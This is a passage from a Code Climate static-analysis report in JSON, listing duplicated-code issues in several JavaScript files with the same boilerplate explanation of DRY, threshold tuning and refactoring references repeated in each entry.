system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 53**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"77fe9230b5c1c681ca23dd48b5bde881","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/reports/store/utils.js","lines":{"begin":39,"end":42}},"remediation_points":540000,"other_locations":[{"path":"app/assets/javascripts/reports/store/utils.js","lines":{"begin":44,"end":47}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 53**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"6369d3d651e38cbbac285afad5297e9d","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/reports/store/utils.js","lines":{"begin":44,"end":47}},"remediation_points":540000,"other_locations":[{"path":"app/assets/javascripts/reports/store/utils.js","lines":{"begin":39,"end":42}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 53**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"6369d3d651e38cbbac285afad5297e9d","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/clusters/clusters_bundle.js","lines":{"begin":108,"end":111}},"remediation_points":510000,"other_locations":[{"path":"app/assets/javascripts/clusters/clusters_bundle.js","lines":{"begin":113,"end":116}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 52**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"2b8d07121aa08a0ef9af946ea4e5d60d","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/clusters/clusters_bundle.js","lines":{"begin":113,"end":116}},"remediation_points":510000,"other_locations":[{"path":"app/assets/javascripts/clusters/clusters_bundle.js","lines":{"begin":108,"end":111}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 52**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"2b8d07121aa08a0ef9af946ea4e5d60d","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/zen_mode.js","lines":{"begin":42,"end":45}},"remediation_points":510000,"other_locations":[{"path":"app/assets/javascripts/zen_mode.js","lines":{"begin":46,"end":49}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 52**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"1c224ff513833f281d7bb58fb1280314","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/zen_mode.js","lines":{"begin":46,"end":49}},"remediation_points":510000,"other_locations":[{"path":"app/assets/javascripts/zen_mode.js","lines":{"begin":42,"end":45}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 52**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"1c224ff513833f281d7bb58fb1280314","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/ide/stores/actions.js","lines":{"begin":133,"end":136}},"remediation_points":480000,"other_locations":[{"path":"app/assets/javascripts/ide/stores/actions.js","lines":{"begin":144,"end":147}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 51**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"5e09ce34a63a712c502dfcaa775c5a8e","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/ide/stores/actions.js","lines":{"begin":144,"end":147}},"remediation_points":480000,"other_locations":[{"path":"app/assets/javascripts/ide/stores/actions.js","lines":{"begin":133,"end":136}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 51**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"5e09ce34a63a712c502dfcaa775c5a8e","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/network/branch_graph.js","lines":{"begin":120,"end":123}},"remediation_points":480000,"other_locations":[{"path":"app/assets/javascripts/network/branch_graph.js","lines":{"begin":128,"end":131}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 51**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"5dcf5b9ed09acddcf34d9b99f4f7d4e0","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/network/branch_graph.js","lines":{"begin":128,"end":131}},"remediation_points":480000,"other_locations":[{"path":"app/assets/javascripts/network/branch_graph.js","lines":{"begin":120,"end":123}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 51**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"5dcf5b9ed09acddcf34d9b99f4f7d4e0","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/projects/tree/services/commit_pipeline_service.js","lines":{"begin":3,"end":11}},"remediation_points":480000,"other_locations":[{"path":"app/assets/javascripts/jobs/services/job_service.js","lines":{"begin":3,"end":11}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 51**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"020d87eef79dcc6d4979a4877f795e88","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/jobs/services/job_service.js","lines":{"begin":3,"end":11}},"remediation_points":480000,"other_locations":[{"path":"app/assets/javascripts/projects/tree/services/commit_pipeline_service.js","lines":{"begin":3,"end":11}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 51**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"7f3c54ba927268843f9fe397b30c4541","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/star.js","lines":{"begin":19,"end":23}},"remediation_points":480000,"other_locations":[{"path":"app/assets/javascripts/star.js","lines":{"begin":23,"end":27}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 51**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract 